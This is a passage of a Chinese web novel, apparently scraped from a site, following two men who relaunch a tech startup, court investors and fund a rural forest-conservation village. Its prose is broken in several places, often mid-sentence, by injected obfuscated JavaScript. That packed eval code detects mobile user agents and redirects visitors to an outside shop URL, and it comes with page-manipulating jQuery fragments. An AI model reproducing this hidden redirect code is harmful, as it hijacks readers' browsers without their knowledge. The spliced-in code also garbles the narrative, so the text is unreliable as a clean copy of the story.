“再说吧,我觉得股权这里可以再商量一下,毕竟现在投资还没进来。”陈艾卅捏了捏童宽的手,“先不麻烦我们首席架构师思考金融方面的问题了。” “你是说我思考得不对呗?” “……多少,有一点不太对劲,股权分配也没有这么单纯的,傻小子,怪不得会被人要挟,直接给原始股出去。” 童宽瘪了瘪嘴,“本来我也不擅长这个。” 两人回去的时候,童宽才问陈艾卅刚刚说的合作是怎么回事,陈艾卅抬了抬眉毛,说他们公司主要做的就是环保纸,如果我们做的是公益植树app的话,再和巡林站那边合作,看看能不能促成一个兼顾林浆纸销售公益一体化的路径,这也是他回来后一直在思考的问题,即使今天Aaron这个电话不打过来,他也迟早会去找他们一下。 在陈艾卅的陈述后,童宽明显沉默了许久,才说出了自己的心里话。他原以为,靠技术的力量,就能把产品带到用户面前,接着依靠营销把体量推出来就可以了,以前对于资源整合这四个字而言,真的有很多纸上谈兵的地方,从来没有真正付诸实践过。 陈艾卅也微微笑了笑,“小宽,人都是有限的,有限认知、有限理性。你能坚持到之前那样已经很好了,你的有限已经比大多数人的有限宽广得多。” “卅哥,我之前说,我比你优秀,感觉还是说错了。” 陈艾卅笑得更厉害了,“没有说错,同样的事情,换作我来做,可能失败得更早。” “别这么说,”童宽叹了口气,“其实我之前重启的时候心里还是没底的,但今天你这么一说,我感觉好像,之后做成什么样都不太重要了,关键是我们去做了。” “是的,关键就在于,我们要去慢慢实现他。” 童宽点了点头,“卅哥,你的胸怀很宽广,我很幸运。” “嗯,还有胸肌呢,摸一把么?” 童宽直接拍了上去,“说两句就不正经。” “那就说点正经的,之后股权分配上的事,以及投融资上的事,我可能会管得多一些,我们肯定会有意见相左的时候,但我们不要争,只陈述观点,但不要尝试说服对方,任何说服可能都会产生不好的可能。” “我知道了。” “还有,刚刚说的合作的事儿,我可能要拉着徐熠一起,虽然他之前和你对接比较多,但之后这方面可能我会和他接触得多一些,可以么?” “说什么呢,”童宽失笑道,“你们背着我也没少接触啊。” “所以啊,”陈艾卅笑笑,“如果之后要把盘子做大,资方这边肯定需要有个代理,徐熠他们公司还不错,也可以同步合作。” 童宽点了点头,“我以为你什么都没想呢,结果已经想得那么远了。” “唉,”陈艾卅装模作样地叹了一口,“以前打工还能摸摸鱼,现在自己单干了,没点亲力亲为的态度,老板不仅会在公司数落我,回到家估计还得让我跪搓衣板。” “我们IT男不流行搓衣板。”童宽斜楞了他一下。 “流行什么?” “键盘,”童宽说得恶狠狠的,“黑轴的。” “黑心老板啊!” 从学校里出去,两人并没有直接回家,而是去了公司,出电梯的时候童宽还准备拿钥匙,到了公司门口却发现门开着,就推了门进去。 刚进门就看到林琦手里握着个拖把在拖地,两人三步并着两步就走到了人前,陈艾卅就把拖把拿过来了。 “这怎么能让你做,被梁臣知道该说我这个学长了。” “学长、宽哥,你们来啦。”林琦并不在意,甚至还想从陈艾卅手里拿回那个拖把,“现在还没开张么,我想着就来打扫打扫,反正在家里也没什么事。” “哎这种事情哪是你们女生做的。”陈艾卅说什么拖把也没还给她。 童宽看着林琦做这些事的眼神有些复杂,之前即使林琦也会帮着一起做些杂事,但打扫这样的事情是断断不会到她手上的。 “宽哥?宽总!!”林琦的手在童宽面前挥了两下。 “啊,怎么了?”童宽这才回过神来。 “你是不是不好意思了啊?”林琦笑得大大咧咧的,“不好意思就给我涨工资呗?” 童宽笑了笑,“好,没有不涨的道理。” 三个人进了那个小会议室,陈艾卅坐在末席,童宽和林琦坐在一侧,林琦拿了之前盘的账出来,分别告诉童宽还有哪些账目需要还,分了紧急顺序,陈艾卅看到童宽的眉头慢慢皱了起来,但并没有露出担忧,他知道童宽心里有数,也明白对于欠款,童宽从来就有拖无欠,而且还会和对方关照好账期。 当童宽告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061632|147968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉林琦,会有一笔应急资金汇入公司的时候,林琦双手捂了嘴,问他这么一大笔钱哪里来的,童宽看了一眼陈艾卅,陈艾卅却轻轻摇了摇头,童宽就模糊带过去了,只是在林琦的再三追问下,说这笔钱没有负债,她才放了心。 最终决定其中100万先把部分的经营贷还了,还有100万留给各个拖欠的供应商款,并且和他们进行下一次的续约,还有100万就作为运营成本,童宽特意关照了林琦,一定要招个阿姨过来,千万不能让她再亲自动手了。 林琦嘟囔了句说之前在教育超市都是他们自己干的,也没什么上不了台面的,童宽就笑她,大姑娘了,都总助了怎么还老提学生时候的事儿,林琦知道是这哥俩心疼她,但就是不好意思,所以才在面子上一直说不浪费,锻炼锻炼身体。 “宽哥,之前从公司走的一个前端和后端,新的工作都不太顺心,问我们这什么计划,你看要不要把他们招回来?” “他们主动问你的么,还是?” “当然是主动问的,我可是一贯秉持了你的高冷形象……” “……我高冷么?” “高冷,”林琦点了点头,“总之比在学校的时候高冷太多了。” “那,”童宽有些不解,看了看陈艾卅又看了看林琦,“高冷好不好?” “得得得,”陈艾卅赶紧插了个嘴,“你这样很好,什么都不用变。” 林琦也跟着点头,“老板嘛,还是高冷点好。” “如果你觉得他们工作态度还不错的话,可以招回来,但既然是主动提的,而且我们现在公司状况也不是太好,薪资水平最多也只能保持不变了,如果他们同意的话就回来吧。” “宽哥,你真是心软的神。” “啊?难道应该降薪吗?”童宽有些哭笑不得,“外面行情这么差了?” 林琦点了点头。 “那你看看差不多就招回来吧,正好公司也需要人,”童宽说完了后,好像才想起陈艾卅也在旁边,回过头问了一句,“卅哥你觉得呢?” “你定就行,宽总。” 关于公司内部架构与运营上面有些问题,童宽还要和林琦讨论一下,陈艾卅见两人聊得也比较投入,悄悄从会议室出去了。 公司这里陈艾卅来了不少次,基本每次都是在童宽的办公室里的沙发坐着,童宽真实办公的时候大多都不在办公室里,更多是会出现在外面的员工工位上,和后端一起想处理数据的解决方案,和前端一起搞定动画效果,有的时候还会和设计一起讨论表现形式,难得空余的时候,才会和陈艾卅老老实实地坐在办公室里,偷偷吃陈艾卅给他带的各种零食和小吃。 陈艾卅像童宽上次走过一张张桌子一样,也是一张张掠过,走到了童宽的办公室门口,又转回身,再一张张地掠过,特意找了个不太起眼的靠窗座位,陈艾卅拉开椅子,坐了下去,抬头看向童宽的办公室有些困难,只有刻意伸长了脖子才能看清。 他明白童宽说不要离得太近的意思,并不是说真的要离得远一些,而是在各自的战场上,都需要独当一面。 这个距离刚好,不近不远,也不明显,能心安理得地,当童宽的骑士。 63.钝感 公司重启的时候并没有很大张旗鼓,甚至员工都比来庆贺的人都要少,公司这边只有童宽、陈艾卅、林琦和两个招回来的IT,梁臣特意定了六个大花篮,每个上面都写着开业大吉,还特意对林琦眨了眨眼睛。 斯昀是和邵珏斐一起来的,虽然丁彧的事情还没最终定论,但他们俩似乎在感情上已经有所升温了,不用想,这也是陈艾卅请来的,他们并没有带什么礼物,但带了个更棒的消息过来。 已经是奢侈品总部市场营销总监的斯昀,直接带来的是他们官方小程序年度更新的需求,那一份已经写得很详尽的需求文件被打印了出来,并且用他们奢侈品品牌的信封包装好了,陈艾卅正想伸手去接的时候,斯昀故意往回一收,他不得不笑了出来,又看向了邵珏斐。 “兄弟,帮个忙?” “我可不帮你,我都听昀姐的。” 这一声昀姐叫得,陈艾卅后牙槽直接泛起了一股酸意,他伸手捶了一下邵珏斐的肩膀,“你这速度有点快啊,有了姐姐不要兄弟。” “你以为你好到哪里去了?”邵珏斐的脸往童宽那偏了偏。 “那说明咱宿舍家风周正啊,都以主心骨为先。”陈艾卅贫得斯昀都忍不住眯起了眼睛,直接路过了他,把这份需求文件放到了童宽的手里。 “TK,先说好哦,正常招标流程还是要走,我们是在效果和价格上综合考虑的,相信你会成功的。” “谢谢学姐。”童宽接过来的时候笑得很开,露出了那颗虎牙,完全没有之前和陈艾卅在一起的时候偶尔会泛起来的醋意。 陈艾卅突然好像明白了什么一样,他家小孩儿哪里是吃醋,就是个借题发挥撒娇而已,想到这里,想到这里,真想给他屁股上来一下,但看着他意气奋发的样子,到底是忍住了这点小心思。 童宽今天穿了一身灰色的西装,里面穿着白衬衫,最上面的纽扣没有纽,松散了开来,露出了一些白皙的脖颈底部。虽然长得不高,但身材比例非常好,整个人看起来纤长松散,还有一些学霸才有的书生气。头发也在前几天理过了,一直是碎碎散散的短发,但今天明显抓了一些发蜡,把原本会在额角掉下来的散发都梳理上去了,又显得干净利落。 陈艾卅发现,童宽无论是什么要的氛围,都能掌握得很好,在那个范围里,他会显得很突出,让人一眼就能看到他。每每在这个时候,陈艾卅就觉得,他得到童宽实在是太容易了,似乎自己就走了一步,剩下的九十九步都是童宽向他走来的一样。 “想什么呢?”斯昀过来用手肘怼了一下陈艾卅。 “啊,学姐。”陈艾卅回过了神来。 “小邵那边好像工作和那个小男生,”斯昀的下巴往梁臣的方向抬了抬,“有点交集,两个人正讨论呢。” “噢,那是我们以前外联部的小伙子,我走后外联部就是他在带,”陈艾卅笑了笑,“和我一样,看上了教育超市里的收银员,就是小宽的助理。” “这么有缘分呢。” “嗯,还挺神奇的。” “Issac,你没觉得自己有魔力吗?”斯昀侧过来笑着看他。 陈艾卅不太明白,对着斯昀露了个疑惑的表情。 “你没觉得,”斯昀停顿了一小会,“好像在你身边的人,很容易就会聚在一起。” 他还没咂摸明白这句话,门口又来了人,竟然是原来公司的老板Aaron,陈艾卅和斯昀打了个招呼,就赶紧出去迎接了。 “Hi,Aaron,这里,你怎么来了?” “Surprise,恭喜你开创自己的事业!”Aaron把手里的一大束橘色包装的太阳花束放到了陈艾卅手里,“以前只是听你提起过,幸好没有找错地方。” “没有没有,快请进。”陈艾卅把Aaron接了进来,直接带到了童宽的面前。 “宽总,这是我以前老板Aaron,”陈艾卅介绍着,“这是我现在的老板童宽,也是我爱人。” “久仰久仰,你好,我是Aaron,终于见到了Issac一直挡酒的借口。” “你好Aaron,叫我TK就可以,谢谢一直照顾卅哥。” 两个人握手的时候,陈艾卅总觉得有哪里不对劲,但就是感觉不出来。但正好之前有聊过林浆纸一体化的事宜,童宽和林琦说了两句,就先请Aaron进办公室里聊了,还回过头来问陈艾卅要不要一起,陈艾卅微笑着摇了摇头,他知道童宽一定会明白他的意思,总要和先碰一下看看各自的价值观是不是一致,再讨论继续合作的事情。童宽作为公司的首脑,这样的事情最好还是在没有其他干扰的情况下进行才好。 各自聊着期间,林琦已经点好了外卖,却没想到是被刚到楼下的徐熠带上来的,刚带进公司,徐熠的少爷脾气就上来了,其他人他也不太熟悉,就对着陈艾卅撒气。 “陈总,你们这怎么待客的,就让客人给你们拿外卖啊?” 陈艾卅本来就跟他没什么好话说,直接回了嘴过去,“谁让你两手空空来的,拿几个东西看给你计较的。” “你怎么知道我是两手空空来的,”徐熠在林琦的引导下把外卖放到了大会议室的桌上,“童宽呢?” “谈事儿呢。”陈艾卅说,转头就问林琦,“买的披萨?” “嗯嗯,还有些小食饮料,我们几个吃应该是够了的。”林琦回答。 “不是,”徐熠上来又想去抓陈艾卅的袖子,“我有事找他,你把他藏哪儿了?” “你这油爪子,”陈艾卅躲得快,没让他抓着,“真在谈事,在办公室里呢,哎怎么个事,怎么叫我把他藏起来。” “行,那谈完了换我。”徐熠说道。 这时候大家都已经安静下来了,都看着这俩半大不小的男人打嘴仗。 “嗯,那我跟你一起进去。” “我靠,他现在在谈事你不进去,换我你就得进去了?” 陈艾卅瞥了他一眼,“鬼知道你要谈什么。” “天地良心,”徐熠几乎是吼出来的,“老子帮了你那么多次,你竟然还防备我。” “不得不防。”陈艾卅从桌子上拿出了一杯可乐喝着。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074822|147968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 等到童宽和Aaron从办公室出来,明显看到两人的脸上都带着微微的笑意,徐熠刚想走上去,陈艾卅就开了口,“今天各位就随意在这里吃点吧,都老熟人了,就当成大家的一次聚会吧。” 看见徐熠气急败坏的样子,陈艾卅心里冒了点爽劲儿出来,倒是童宽主动来打招呼,徐熠挑衅地看了陈艾卅一眼,让他忍不住在童宽背过去的时候对着他比了个中指。 “童宽,之后你们投资的事情谁来负责,我们这边有个基金想投一些初期的科技公司,我觉得机会还是挺好的。” 童宽眉毛抬了抬,“投融资这块交给卅哥了,我不太懂。但刚刚听了Aaron老师的建议,是不直接投公司,而是投项目。” 徐熠有些意外,“Aaron?” “就是这位,卅哥以前的老板,这位也是我们的校友,徐熠。”童宽引荐了起来。 “Hi,我是Aaron,您是投行的么?”Aaron先伸出了手。 “是的,我是徐熠,很高兴认识你。”徐熠也握了上去。 本来预计的轻松午餐完全被项目投资的话题带偏了,童宽向Aaron介绍了之前自己去的保护林以及当地的难处,并且希望通过自己的产品带动当地经济的决心,虽然是初步设想,却得到了Aaron的大力赞同。Aaron说他们虽然公司投资了不少植树林,但由于树木的生长周期过长,他们又是全球范围内销售环保纸的,为了不过度砍伐,很多时候也压着客户的出货日期,也一直为这个头疼来着,而且保护林本身也不是很容易联系的资源,如果能有一定的资源相关性的话,更大的受益者可能是Aaron这一方,对于这一点他直言不讳,倒是让徐熠刮目相看,徐熠索性也敞开了表示,如果天使轮投资成功的话,也希望Aaron的公司能够也付出一些,共同扶持童宽的app和保护林那边,Aaron也同样点头表示同意。 离开的时候,是陈艾卅送的Aaron,本来还想寒暄几句,没想到直接让人给留在了电梯口,他拍了拍陈艾卅的肩膀,留下了一句莫名其妙的话。 “Issac,本来我还妄想你可能会忙完了自己的事再回到公司,但在见过TK之后,我知道这没可能了,他是个十分优秀的创始人,也是个十分厉害的伴侣。” 他只能点头附和着,但其中的深意,一点都意会不到。 当天终于等所有人走后,陈艾卅才从工位上到了童宽办公室门前敲了敲门,进门后发现童宽还在电脑前弄着东西,便没有打扰,直到关了电脑,才问出了口。 “今天Aaron走的时候很奇怪。” “怎么奇怪了?”童宽一边收拾着东西,一边问着。 陈艾卅啧了一声,“说不上来,他说见到你之前还认为我有回以前公司的可能,还说你是个很厉害的伴侣。” 童宽噗地一声笑了出来,拿着收拾好的书包拎在了手上,“卅哥,你在感情上还真是钝感力超群。” “什么啊?” “他喜欢你,感觉不到吗?” “啊?!” 64.罚单 “他说从来只听说你有爱人,却从来没有见过,以为只是你挡酒的借口。”童宽一边笑着一边按电梯,“卅哥,你怎么从来想不到带我去认识一下你同事?” 陈艾卅支支吾吾的,有些说不出口。 “我看起来不好相处?”童宽挑了挑眉毛。 “……不是。” 电梯来了,童宽先迈了进去,陈艾卅才跟着进了轿厢。 “那就是你觉得我上不了台面了。”童宽轻轻的一句话,砸得陈艾卅百口莫辩。 “怎么可能。” “那是为什么?总不见得还是因为我是个男的,你应酬的时候都自己主动暴露了。” “你太好了,我不想让更多人看到你。”陈艾卅说得很小声。 童宽却笑了出来,笑得整个人都颤抖,“卅哥,真的么?” “真的啊,”陈艾卅难得说话带了点娇气,“我们家小孩儿长得白净灵动,聪明又有能力,谁看了不心痒啊?” “我是真没想到,大帅哥也会有这样的顾虑。”童宽这才按下了1楼电梯。 “我帅吗?”陈艾卅反问童宽。 “帅啊,”童宽憋了个笑,“不帅怎么会给你买水。” “啊,事到如今终于说出口了啊,你怎么颜控啊?” “你不颜控么?”童宽问,“不颜控看到我笑眼睛都直了?” “有么?” “有没有你自己知道,还老喜欢看我虎牙,”童宽的脸突然凑到了陈艾卅跟前,声音都放轻了,“连亲我的时候,每次都忍不住要去舔两下,卅哥你怎么这么变态啊。” 即使已经是成熟的大人了,在童宽的这一套动作加上言语的攻势下,不免还是会觉得有点不好意思,仿佛自己心里一直埋藏的小秘密被别人发现了一样,清了清嗓子没有说话。 “牙齿长在我身上,我当然感觉得到了。”童宽笑着走了出去。 “哎哎,你等会,Aaron的事情你还没跟我说明白。” 他俩一边走着陈艾卅就一边问,他从来没有注意过这个上司,只知道在业务上一直杀伐果断,有他出马的单子至少都在300万以上,并且服务过的客户基本没有挑剔的,对他倒是……挺包容的,现在想来,有好几次在公司加班,Aaron的办公室也是亮着灯的。 “你还是别明白的好,省得又想回原来公司上班了。” “不能够,我只是有些好奇,”陈艾卅又想到他那上司一米八的高个儿,虽然皮肤是白了些,但无论怎么看身材都是比较壮实的,但仔细想想,好像那一双眼睛,是有一些桃花眼的感觉,可每每被那银边眼镜一遮,又觉得这个人其实是冷冷的,陈艾卅越来越糊涂,“嘶……可怎么看他都不太像在下面的那个啊?” “说什么呢,”童宽打开了副驾的车门,自顾自地坐了进去,整个人笑得都停不下来,“你怎么确定人家一定让你在上面啊?” 陈艾卅总觉得这句话是陷阱,仔细研究了之后才小心翼翼说道:“他爱在哪在哪,我只上咱家自己的床,只和你睡。” “喔——”童宽叹了口,“卅哥还是这么有魅力啊。” 陈艾卅只摇摇头,不敢多说,但这样的冲击还是有的,“先说好啊,这个林浆纸一体化项目的事,你多讨论,如果涉及投融资,我会叫徐熠一起。” “人家来过了也就死心了,也就有些好感罢了,你不用如临大敌。” “我怕我们家小孩儿吃醋。”陈艾卅启动了车子,瞥了一眼童宽。 “我有爸妈撑腰,也管着你的钱袋子,不怕你乱来。” “不怕我乱来?”陈艾卅贱兮兮地凑到了童宽面前,“还是希望我乱来?” “快开车,回家了。” “好的,宽总。” 公司新运营一个月,先是通过比稿把斯昀给的单子给敲下来了,提案是陈艾卅和童宽一起去的,没有带其他人。陈艾卅看着在会议室里意气奋发陈述方案的样子,不禁勾起了嘴角,仿佛自己不是来陪同的同事,而是观众一样。 手机震了一下,是斯昀发过来的微信。 “收敛点。” 陈艾卅才清了清嗓子,回了个“不好意思”过去。 会后斯昀并没有多留他们,但和陈艾卅说明天学校纪检的通知就要出来了,让他和童宽留好时间明天一起去一趟。 其实在公司开业的这段时间里,陈艾卅和童宽已经没有太关注丁彧这件事了,甚至也已经决定好了在重新注册新的公司来稀释给丁彧的股份。 或许人长大了就是这样,甚至经历过失去与生死了,就会明白,除此之外,别无大事。过去年少时以为跨不去的坎、无法释怀的憋闷以及让自己感到厌恶的人,随着时间的流逝,都显得无足轻重。 眼下,丁彧的这件事对于他们更重要的意义,是在于不让更多的人遭遇这些恶。 回学校的这天,邵珏斐也去了,相比起斯昀的淡定,邵珏斐显得更有怒意一些,斯昀笑着说人家隔夜气都不生,你这隔了好几年了,怎么还生这档子气,邵珏斐支支吾吾地又问斯昀当时的男朋友怎么没有替他出头,说这话的时候眼睛还瞥了一眼陈艾卅,给他吓得,赶紧摆手说时间错乱了,说那会儿还不认识斯昀,是她大二时候的事了,邵珏斐才作罢。 四个人看了公告栏里贴出的通知,丁彧已经被剥夺了教学的资格,并且面临牢狱之灾,如此一来,他所持有的10%的股份也因为被剥夺了民事权利而自动失效了,几个人都站在公告栏前叹息了一口。 往回走的时候,斯昀很小声地说殷蔚已经离开这座城市了,事情的告发到底给她的工作带来了一些不便,更何况她正在与其他人竞争岗位,流言是什么时候传出来的时候不清楚,但知道的时候,就有人实名举报她生活作风不端正了,她不得不主动放弃好不容易得来的晋升岗位,在工作了将近六七年的单位离开,最终去了哪里也没告诉她。 陈艾卅其实有些愧疚,他答应过要给殷蔚十万元的补偿,但她已经请斯昀代为转告不用了,到底也是为了自己曾经做过的错事来弥补。 时间已经到了中午,几个人却都没有吃饭的意思。斯昀说自己还要回公司,邵珏斐送她,于是又剩下了陈艾卅和童宽两个人漫无目的地走,他们其实也有要忙活的事情,可这会儿谁也没有提。 他们像这里的学子一样,坐在草坪上。 “卅哥,下个月你出趟差吧,我和祝明修聊得差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090884|147968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不多了,具体的我就不过去了,公司里还有很多事。” 陈艾卅点了点头,“我和徐熠一起去吧,毕竟投资需要评估,我问问他时间。” “好。” 不知不觉,漫长的冬季也要过去了,两人随意吃了两碗米粉,也没再校园里多逗留,就是再次路过教育超市的时候,陈艾卅指着那棵梧桐树,对童宽说,当年就感觉这棵树成精了,明明你在玻璃的那一侧,但我看得很清楚,看见了你对着我笑的虎牙,笑得让我惊慌失措。 童宽听了后,也浅浅地露了个笑出来,没说话,去带着陈艾卅走进了超市。教育超市的格局没有变过,童宽甚至还能准确地找到贩售速食泡面的货架上。 “卅哥,从这里往外看,和在收银台看外面的景色,是一样的,”童宽拉了拉陈艾卅的手,把他挪到了既定的位置上,“你往外看看,你就知道我当时看到的是什么样了。” 陈艾卅突然懵了。 他从来没有想到过,从教育超市往外看,竟然这么清晰。 教育超市里虽然开着灯,但频闪早就有些厉害的灯光敌不过户外的阳光,明明站在灯下,却能清晰地透过玻璃看到外面的光景。梧桐树在日光的照耀下颜色对比更强烈了,阳光从交叠的树叶中漏出了斑驳,有些打在随意停在梧桐树旁边的自行车上,有些落到了地上。当有人经过的时候,就会特别明显,黄绿色的树干和树叶衬托着人的发色很黑,甚至能看清站定在那里的人的眼神。 “你说,”童宽在陈艾卅耳边留下了一句带有热意的话,“这样一个帅哥就站在梧桐树旁边,脑袋上还有倾泻下来的阳光,我就算不喜欢男生,也会停下来多看两眼。” 陈艾卅当场就想吻他! 来的时候车停在校门口了,却被贴上了黄色的罚款单,理由是违停,陈艾卅从挡风玻璃上撕下了这张纸,冲着童宽晃了晃,“要报销的,老板。” 童宽并不在意地笑了笑,“你在教育超市驻足的时候,在我心里也算违停。” 陈艾卅终于敌不过刚刚心底里就萌生出来的情动,扣着童宽的后脑勺深深吮了他一下唇齿。 “这样算交罚款吗?” “太少了,回去补吧。”童宽冲着他眨了眨眼睛。 回去路上陈艾卅还是好奇地问童宽,“你怎么从来不告诉我教育超市看出去这么清楚?” “有些事说清楚了,就真的说清楚了。” “宽总明示?” “你不喜欢男生,如果我直接挑明了,我们会连朋友都做不成。” “那你就不怕挑不明,我一直拖着然后就这么算了么?” 听到这里,童宽才侧过了脸,对着陈艾卅笑了笑,“卅哥,你看我是容易就这么算了的人么?” 陈艾卅挑了挑眉梢,摇了摇头,感叹着,“你说我钝感力也不是没道理。” “嗯?” “不管是巧合,还是你的一些些小伎俩,”陈艾卅刮了一下童宽的鼻子,“我的确是一步步向你走近了。” 童宽转过了头,看向前面,“这才是要你交的终身罚款。” “行,不过这个罚款,宽总自己扫码吧。”陈艾卅笑着把黄色的发单放到了童宽腿上。 65.山川 陈艾卅再一次踏足那片保护林的时候,并没有遇到祝明修,郭响招待了他,还是在祝明修的宅子里,一样的热水瓶一样的搪瓷杯,少了童宽,但多了个徐熠。陈艾卅看徐熠那个来回扯领带的拧巴样,嘲讽技能就没关过,老说徐总要是受不住的话就赶紧回去吧,徐熠就啐回去,说陈艾卅就会说风凉话。 之前来的时候郭响还觉得陈艾卅护着童宽的气场强,今天看着俩西装革履的人在自己面前斗嘴,反而生了些好笑出来,赶紧从祝明修的厨房里拿出了一把瓜子,说俩人要是没啥事的话一边吃毛嗑一边等吧,祝明修这会儿正巡林呢,估计要一俩小时后才回来。 郭响说完是松快了,留着陈艾卅和徐熠俩人面面相觑,都有些尴尬。 林浆纸一体化的项目已经正式在徐熠他们的投行立项了,也是他们今年重点推的项目,说是迎合绿色高质量发展的目标,绿色环保项目会在今年有很大的优势,更别说他们这个是直接和植树造林有关,并且还有外资的环保纸销售端作为支撑,其实如果要不是童宽他们需要扩容的资金不够,也不会找投行来插足一脚。 趁着等人无聊,陈艾卅用手背拍了一下徐熠的胳膊,“听说你让Aaron他们也掏投资款了?” “肯定啊,”徐熠眼睛眯了眯,“他们虽然是销售端,出的力是最少的,但得到的益处却是最多的。” “你还挺会想。” 徐熠冷笑了一声,“我还不知道你,是你的话要得更多。” 陈艾卅一下就笑开了,“我只是不知道你也挺聪明的罢了。” “你不知道的事情多了。” “是,我是不知道,你还和Aaron交换了私人联系方式。”陈艾卅瞥了他一眼。 徐熠啧了一声,“你怎么那么八卦啊?” “小宽跟我说的。” “他应该也不知道啊……”徐熠回忆着自己到底哪里出了破绽。 “别想了,”陈艾卅喝了口水,“我们家小孩儿敏感度真的可以,我估计他也是猜的。” “哎陈艾卅,你说你普普通通的一个人,怎么全世界人都对你有好感啊?”徐熠也笑了出来。 “魅力吧这就是,你体会不到。” “你知道Aaron中文名叫什么吗?”徐熠眼睛里露了个精光。 “不知道,”陈艾卅摇了摇头,“我又不像你这么会聊骚,也不好奇,从来也没问过。” “可好笑了,他叫蒋礼。” “他工作的时候可一点不讲理……”陈艾卅说着。 “嗯,别的地方不讲理一点就更好了。” “你可真是。”陈艾卅眯着眼睛皱着眉,一副嫌弃的样子。 郭响不知道他们在聊什么,只能一个人低头玩手机,来回又添了一次热水瓶的水,终于在手机里的朋友圈实在没什么新鲜事的时候,祝明修回来了,陈艾卅和徐熠也都站了起来,十分正式。 “你们好、你们好,”祝明修打着招呼,“宽总怎么没来?我这还准备了好腊肉想给他,自己家里做的。” “宽总有点忙,没办法亲自过来,这次主要来还是要和你商量下商务的事情,这位是我们的投资方代表,稍后会问你一些关于保护林的信息,以及确认后面合作的步骤,”陈艾卅说到这里,话锋一转,“腊肉你给我就行,我帮你转交给宽总。” “好好,交给你也是一样的陈总,你和宽总是家人,我知道。”祝明修还是有些不习惯,还特意向郭响那边看了一眼,郭响点了点头。 徐熠看不得陈艾卅这副嘚瑟样,赶紧拿出了和保护林这边的合作方案来,主要由陈艾卅的前司、现司以及保护林三方的一个合作方案,没想到提出林浆纸一体化项目后,祝明修拍了个大腿说他懂,之前听来巡林站宣讲的大学生说过,以后将会成为未来保护林的发展方向,本来做了大量功课要向这边科普的徐熠突然说不出话来,陈艾卅倒是乐意看他吃瘪。 “就是没想到,之前才说是未来才有的机会,来得这么快。”祝明修笑得脸都皱起来了。 “现在发展的速度只有你想象不到,老兄。”徐熠拍了拍祝明修的肩。 陈艾卅最后表明了需要和巡林站以及村委对公合作,可以推祝明修作为联络人,祝明修表示一定得这样,他后续会带着合作明细到村委和巡林站上级单位审批,看看是以哪个为主体,还是新成立一个专为林浆纸一体化项目为核心的单位。 看着祝明修这么平和又积极的样子,陈艾卅心里有些感慨,其实不过半年左右,没想到本来浑身是刺的祝明修也软化了下来,时间真是个好东西啊……陈艾卅看向又在给大家倒水的祝明修,又装模作样地问他还有没有偷偷砍伐了,他严声说没有,又说不能辜负郭响,也不能辜负宽总,更不能辜负村里人对他的信任,绝对不能把人往坑里带,陈艾卅就拍了拍他的胳膊表示欣慰。 见正事说差不多了,陈艾卅从包里拿出了一份文件,放到了祝明修的面前,封面上的四个大字让他感到不解。 “山川基金?”祝明修问陈艾卅,“这是?” “这是我们公司点对点扶持当地的一个项目,老祝,林浆纸一体化项目从立项到真正反哺你们,还会有很长的一段路,我们理解村里的各种困难,在项目初期的时候,希望大家一起坚守阵地熬住,我们公司现在还没有做很大,没办法帮扶村里的各种开支,但一些必要性的帮扶我们可以提供,比如重大疾病、孩子读书、基础赡养独居老人和留守儿童等,虽然补贴不多,但每个月混个饱饭应该是问题的。” 陈艾卅又把这份文件往祝明修面前推了推,“这也是宽总和我的一份心意。” 祝明修的脸突然僵住了,然后嘴唇就开始抖了起来,那张明显是老烟枪的黑紫嘴唇在颤抖的时候特别难看,但也特别真实,接着就是大颗大颗的眼泪从眼眶里掉落了下来,砸在桌子上,也砸在文件上。 “我……我……” 陈艾卅又伸手拍了拍他,又笑了笑,“不是跟你签,这个也要麻烦你一起转达给巡林站和村委。” “我……我那时候,差点伤害了宽总,你、你们……不能这样……” “不能哪样啊?”见着一个接近中年的男人哭得喘不来气,陈艾卅只能尽量调节说话的语调。 “以德报怨啊!!”祝明修哇地一声哭了出来,直接趴在了桌子上,连直接埋进了臂弯里,连旁边的郭响眼圈也有点泛红,一边喊着他老祝一边拍着他的背。 等过了几分钟,祝明修终于缓过劲来了,把文件又推了回来,“这个、其实我们不配收,我们之前靠伐木,挣了些钱了。” “警察可在这里,你别提那些非法所得啊。”陈艾卅说,“对于你太太的事情,我们感到很抱歉,自己经历了一遭,才知道失去多么痛苦,你就当圆了宽总和我的梦吧,行吗?” “我老婆没福气啊……”祝明修提到他老婆,鼻子又红了,“如果她知道老林子也有这一天,当时肯定不会放弃治疗,而是让小妮儿去读书的。” “老祝,”陈艾卅又拍了拍他,“我们就都少留点遗憾吧。” “这、这基金,会不会花很多钱?” 